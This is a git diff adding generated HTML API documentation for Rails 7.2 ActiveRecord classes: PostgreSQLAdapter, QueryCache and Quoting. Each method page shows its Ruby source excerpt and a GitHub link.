Toggles automatic decoding of date columns.

+ +
ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.select_value("select '2024-01-01'::date").class #=> String
+ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.decode_dates = true
+ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.select_value("select '2024-01-01'::date").class #=> Date
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 132
+      class_attribute :decode_dates, default: false
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(...) + +

+ + +
+

Initializes and connects a PostgreSQL adapter.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 316
+      def initialize(...)
+        super
+
+        conn_params = @config.compact
+
+        # Map ActiveRecords param names to PGs.
+        conn_params[:user] = conn_params.delete(:username) if conn_params[:username]
+        conn_params[:dbname] = conn_params.delete(:database) if conn_params[:database]
+
+        # Forward only valid config params to PG::Connection.connect.
+        valid_conn_param_keys = PG::Connection.conndefaults_hash.keys + [:requiressl]
+        conn_params.slice!(*valid_conn_param_keys)
+
+        @connection_parameters = conn_params
+
+        @max_identifier_length = nil
+        @type_map = nil
+        @raw_connection = nil
+        @notice_receiver_sql_warnings = []
+
+        @use_insert_returning = @config.key?(:insert_returning) ? self.class.type_cast_config_to_boolean(@config[:insert_returning]) : true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new_client(conn_params) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 57
+        def new_client(conn_params)
+          PG.connect(**conn_params)
+        rescue ::PG::Error => error
+          if conn_params && conn_params[:dbname] == "postgres"
+            raise ActiveRecord::ConnectionNotEstablished, error.message
+          elsif conn_params && conn_params[:dbname] && error.message.include?(conn_params[:dbname])
+            raise ActiveRecord::NoDatabaseError.db_error(conn_params[:dbname])
+          elsif conn_params && conn_params[:user] && error.message.include?(conn_params[:user])
+            raise ActiveRecord::DatabaseConnectionError.username_error(conn_params[:user])
+          elsif conn_params && conn_params[:host] && error.message.include?(conn_params[:host])
+            raise ActiveRecord::DatabaseConnectionError.hostname_error(conn_params[:host])
+          else
+            raise ActiveRecord::ConnectionNotEstablished, error.message
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + active?() + +

+ + +
+

Is this connection alive and ready for queries?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 344
+      def active?
+        @lock.synchronize do
+          return false unless @raw_connection
+          @raw_connection.query ";"
+        end
+        true
+      rescue PG::Error
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add_enum_value(type_name, value, options = {}) + +

+ + +
+

Add enum value to an existing enum type.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 568
+      def add_enum_value(type_name, value, options = {})
+        before, after = options.values_at(:before, :after)
+        sql = +"ALTER TYPE #{quote_table_name(type_name)} ADD VALUE '#{value}'"
+
+        if before && after
+          raise ArgumentError, "Cannot have both :before and :after at the same time"
+        elsif before
+          sql << " BEFORE '#{before}'"
+        elsif after
+          sql << " AFTER '#{after}'"
+        end
+
+        execute(sql).tap { reload_type_map }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connected?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 339
+      def connected?
+        !(@raw_connection.nil? || @raw_connection.finished?)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + create_enum(name, values, **options) + +

+ + +
+

Given a name and an array of values, creates an enum type.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 523
+      def create_enum(name, values, **options)
+        sql_values = values.map { |s| quote(s) }.join(", ")
+        scope = quoted_scope(name)
+        query = <<~SQL
+          DO $$
+          BEGIN
+              IF NOT EXISTS (
+                SELECT 1
+                FROM pg_type t
+                JOIN pg_namespace n ON t.typnamespace = n.oid
+                WHERE t.typname = #{scope[:name]}
+                  AND n.nspname = #{scope[:schema]}
+              ) THEN
+                  CREATE TYPE #{quote_table_name(name)} AS ENUM (#{sql_values});
+              END IF;
+          END
+          $$;
+        SQL
+        internal_exec_query(query).tap { reload_type_map }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disable_extension(name, force: false) + +

+ + +
+

Removes an extension from the database.

+
:force +
+

Set to :cascade to drop dependent objects as well. Defaults to false.

+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 481
+      def disable_extension(name, force: false)
+        internal_exec_query("DROP EXTENSION IF EXISTS \"#{name}\"#{' CASCADE' if force == :cascade}").tap {
+          reload_type_map
+        }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disconnect!() + +

+ + +
+

Disconnects from the database if already connected. Otherwise, this method does nothing.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 381
+      def disconnect!
+        @lock.synchronize do
+          super
+          @raw_connection&.close rescue nil
+          @raw_connection = nil
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + drop_enum(name, values = nil, **options) + +

+ + +
+

Drops an enum type.

+ +

If the if_exists: true option is provided, the enum is dropped only if it exists. Otherwise, if the enum doesn’t exist, an error is raised.

+ +

The values parameter will be ignored if present. It can be helpful to provide this in a migration’s change method so it can be reverted. In that case, values will be used by create_enum.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 553
+      def drop_enum(name, values = nil, **options)
+        query = <<~SQL
+          DROP TYPE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(name)};
+        SQL
+        internal_exec_query(query).tap { reload_type_map }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + enable_extension(name, **) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 468
+      def enable_extension(name, **)
+        schema, name = name.to_s.split(".").values_at(-2, -1)
+        sql = +"CREATE EXTENSION IF NOT EXISTS \"#{name}\""
+        sql << " SCHEMA #{schema}" if schema
+
+        internal_exec_query(sql).tap { reload_type_map }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + enum_types() + +

+ + +
+

Returns a list of defined enum types, and their values.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 500
+      def enum_types
+        query = <<~SQL
+          SELECT
+            type.typname AS name,
+            type.OID AS oid,
+            n.nspname AS schema,
+            string_agg(enum.enumlabel, ',' ORDER BY enum.enumsortorder) AS value
+          FROM pg_enum AS enum
+          JOIN pg_type AS type ON (type.oid = enum.enumtypid)
+          JOIN pg_namespace n ON type.typnamespace = n.oid
+          WHERE n.nspname = ANY (current_schemas(false))
+          GROUP BY type.OID, n.nspname, type.typname;
+        SQL
+
+        internal_exec_query(query, "SCHEMA", allow_retry: true, materialize_transactions: false).cast_values.each_with_object({}) do |row, memo|
+          name, schema = row[0], row[2]
+          schema = nil if schema == current_schema
+          full_name = [schema, name].compact.join(".")
+          memo[full_name] = row.last
+        end.to_a
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extension_available?(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 487
+      def extension_available?(name)
+        query_value("SELECT true FROM pg_available_extensions WHERE name = #{quote(name)}", "SCHEMA")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extension_enabled?(name) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 491
+      def extension_enabled?(name)
+        query_value("SELECT installed_version IS NOT NULL FROM pg_available_extensions WHERE name = #{quote(name)}", "SCHEMA")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extensions() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 495
+      def extensions
+        internal_exec_query("SELECT extname FROM pg_extension", "SCHEMA", allow_retry: true, materialize_transactions: false).cast_values
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + index_algorithms() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 287
+      def index_algorithms
+        { concurrently: "CONCURRENTLY" }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + max_identifier_length() + +

+ + +
+

Returns the configured supported identifier length supported by PostgreSQL

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 598
+      def max_identifier_length
+        @max_identifier_length ||= query_value("SHOW max_identifier_length", "SCHEMA").to_i
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rename_enum(name, options = {}) + +

+ + +
+

Rename an existing enum type to something else.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 561
+      def rename_enum(name, options = {})
+        to = options.fetch(:to) { raise ArgumentError, ":to is required" }
+
+        exec_query("ALTER TYPE #{quote_table_name(name)} RENAME TO #{to}").tap { reload_type_map }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rename_enum_value(type_name, options = {}) + +

+ + +
+

Rename enum value on an existing enum type.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 584
+      def rename_enum_value(type_name, options = {})
+        unless database_version >= 10_00_00 # >= 10.0
+          raise ArgumentError, "Renaming enum values is only supported in PostgreSQL 10 or later"
+        end
+
+        from = options.fetch(:from) { raise ArgumentError, ":from is required" }
+        to = options.fetch(:to) { raise ArgumentError, ":to is required" }
+
+        execute("ALTER TYPE #{quote_table_name(type_name)} RENAME VALUE '#{from}' TO '#{to}'").tap {
+          reload_type_map
+        }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 366
+      def reset!
+        @lock.synchronize do
+          return connect! unless @raw_connection
+
+          unless @raw_connection.transaction_status == ::PG::PQTRANS_IDLE
+            @raw_connection.query "ROLLBACK"
+          end
+          @raw_connection.query "DISCARD ALL"
+
+          super
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + session_auth=(user) + +

+ + +
+

Set the authorized user for this session

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 603
+      def session_auth=(user)
+        clear_cache!
+        internal_execute("SET SESSION AUTHORIZATION #{user}", nil, materialize_transactions: true)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + set_standard_conforming_strings() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 407
+      def set_standard_conforming_strings
+        internal_execute("SET standard_conforming_strings = on")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_advisory_locks?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 415
+      def supports_advisory_locks?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_bulk_alter?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 188
+      def supports_bulk_alter?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_check_constraints?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 220
+      def supports_check_constraints?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_comments?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 252
+      def supports_comments?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_common_table_expressions?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 446
+      def supports_common_table_expressions?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_datetime_with_precision?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 244
+      def supports_datetime_with_precision?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_ddl_transactions?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 411
+      def supports_ddl_transactions?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_deferrable_constraints?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 236
+      def supports_deferrable_constraints?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_exclusion_constraints?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 224
+      def supports_exclusion_constraints?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_explain?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 419
+      def supports_explain?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_expression_index?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 208
+      def supports_expression_index?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_extensions?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 423
+      def supports_extensions?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_foreign_keys?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 216
+      def supports_foreign_keys?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_foreign_tables?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 431
+      def supports_foreign_tables?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_index_include?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 204
+      def supports_index_include?
+        database_version >= 11_00_00 # >= 11.0
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_index_sort_order?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 192
+      def supports_index_sort_order?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_insert_conflict_target?() + +

+ + +
+ +
+ + + + + + + + + + +
+ +
+

+ + supports_insert_on_conflict?() + +

+ + +
+ +
+ + + + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 268
+      def supports_insert_on_conflict?
+        database_version >= 9_05_00 # >= 9.5
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_insert_on_duplicate_skip?() + +

+ + +
+ +
+ + + + + + + + + + +
+ +
+

+ + supports_insert_on_duplicate_update?() + +

+ + +
+ +
+ + + + + + + + + + +
+ +
+

+ + supports_insert_returning?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 264
+      def supports_insert_returning?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_json?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 248
+      def supports_json?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_lazy_transactions?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 450
+      def supports_lazy_transactions?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_materialized_views?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 427
+      def supports_materialized_views?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_nulls_not_distinct?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 283
+      def supports_nulls_not_distinct?
+        database_version >= 15_00_00 # >= 15.0
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_optimizer_hints?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 439
+      def supports_optimizer_hints?
+        unless defined?(@has_pg_hint_plan)
+          @has_pg_hint_plan = extension_available?("pg_hint_plan")
+        end
+        @has_pg_hint_plan
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_partial_index?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 200
+      def supports_partial_index?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_partitioned_indexes?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 196
+      def supports_partitioned_indexes?
+        database_version >= 11_00_00 # >= 11.0
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_pgcrypto_uuid?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 435
+      def supports_pgcrypto_uuid?
+        database_version >= 9_04_00 # >= 9.4
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_restart_db_transaction?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 260
+      def supports_restart_db_transaction?
+        database_version >= 12_00_00 # >= 12.0
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_savepoints?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 256
+      def supports_savepoints?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_transaction_isolation?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 212
+      def supports_transaction_isolation?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_unique_constraints?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 228
+      def supports_unique_constraints?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_validate_constraints?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 232
+      def supports_validate_constraints?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_views?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 240
+      def supports_views?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_virtual_columns?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 275
+      def supports_virtual_columns?
+        database_version >= 12_00_00 # >= 12.0
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + use_insert_returning?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb, line 608
+      def use_insert_returning?
+        @use_insert_returning
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/QueryCache.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/QueryCache.html new file mode 100644 index 0000000000..488d070750 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/QueryCache.html @@ -0,0 +1,405 @@ +--- +title: ActiveRecord::ConnectionAdapters::QueryCache +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + query_cache
+ + + + +

Class Public methods

+ +
+

+ + dirties_query_cache(base, *method_names) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb, line 20
+        def dirties_query_cache(base, *method_names)
+          method_names.each do |method_name|
+            base.class_eval <<-end_code, __FILE__, __LINE__ + 1
+              def #{method_name}(...)
+                if pool.dirties_query_cache
+                  ActiveRecord::Base.clear_query_caches_for_current_thread
+                end
+                super
+              end
+            end_code
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(*) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb, line 196
+      def initialize(*)
+        super
+        @query_cache = nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + cache(&block) + +

+ + +
+

Enable the query cache within the block.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb, line 206
+      def cache(&block)
+        pool.enable_query_cache(&block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear_query_cache() + +

+ + +
+

Clears the query cache.

+ +

One reason you may wish to call this method explicitly is between queries that ask the database to randomize results. Otherwise the cache would see the same SQL query and repeatedly return the same result each time, silently undermining the randomness you were expecting.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb, line 232
+      def clear_query_cache
+        pool.clear_query_cache
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disable_query_cache!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb, line 222
+      def disable_query_cache!
+        pool.disable_query_cache!
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + enable_query_cache!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb, line 210
+      def enable_query_cache!
+        pool.enable_query_cache!
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + query_cache_enabled() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb, line 201
+      def query_cache_enabled
+        @query_cache&.enabled?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + uncached(dirties: true, &block) + +

+ + +
+

Disable the query cache within the block.

+ +

Set dirties: false to prevent query caches on all connections from being cleared by write operations. (By default, write operations dirty all connections’ query caches in case they are replicas whose cache would now be outdated.)

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb, line 218
+      def uncached(dirties: true, &block)
+        pool.disable_query_cache(dirties: dirties, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/Quoting.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Quoting.html new file mode 100644 index 0000000000..b91e821149 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Quoting.html @@ -0,0 +1,539 @@ +--- +title: ActiveRecord::ConnectionAdapters::Quoting +layout: default +--- +
+ +
+
+ +
+ +

Active Record Connection Adapters Quoting

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + quote(value) + +

+ + +
+

Quotes the column value to help prevent SQL injection attacks.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/quoting.rb, line 73
+      def quote(value)
+        case value
+        when String, Symbol, ActiveSupport::Multibyte::Chars
+          "'#{quote_string(value.to_s)}'"
+        when true       then quoted_true
+        when false      then quoted_false
+        when nil        then "NULL"
+        # BigDecimals need to be put in a non-normalized form and quoted.
+        when BigDecimal then value.to_s("F")
+        when Numeric then value.to_s
+        when Type::Binary::Data then quoted_binary(value)
+        when Type::Time::Value then "'#{quoted_time(value)}'"
+        when Date, Time then "'#{quoted_date(value)}'"
+        when Class      then "'#{value}'"
+        else raise TypeError, "can't quote #{value.class.name}"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + quote_column_name(column_name) + +

+ + +
+

Quotes the column name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/quoting.rb, line 136
+      def quote_column_name(column_name)
+        self.class.quote_column_name(column_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + quote_string(s) + +

+ + +
+

Quotes a string, escaping any β€˜ (single quote) and \ (backslash) characters.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/quoting.rb, line 131
+      def quote_string(s)
+        s.gsub("\\", '\&\&').gsub("'", "''") # ' (for ruby-mode)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + quote_table_name(table_name) + +

+ + +
+

Quotes the table name.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/quoting.rb, line 141
+      def quote_table_name(table_name)
+        self.class.quote_table_name(table_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + quote_table_name_for_assignment(table, attr) + +

+ + +
+

Override to return the quoted table name for assignment. Defaults to table quoting.

+ +

This works for MySQL where table.column can be used to resolve ambiguity.

+ +

We override this in the sqlite3 and postgresql adapters to use only the column name (as per syntax requirements).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/quoting.rb, line 153
+      def quote_table_name_for_assignment(table, attr)
+        quote_table_name("#{table}.#{attr}")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + quoted_date(value) + +

+ + +
+

Quote date/time values for use in SQL input. Includes microseconds if the value is a Time responding to usec.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/quoting.rb, line 184
+      def quoted_date(value)
+        if value.acts_like?(:time)
+          if default_timezone == :utc
+            value = value.getutc if !value.utc?
+          else
+            value = value.getlocal
+          end
+        end
+
+        result = value.to_fs(:db)
+        if value.respond_to?(:usec) && value.usec > 0
+          result << "." << sprintf("%06d", value.usec)
+        else
+          result
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + quoted_false() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/quoting.rb, line 174
+      def quoted_false
+        "FALSE"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + quoted_true() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
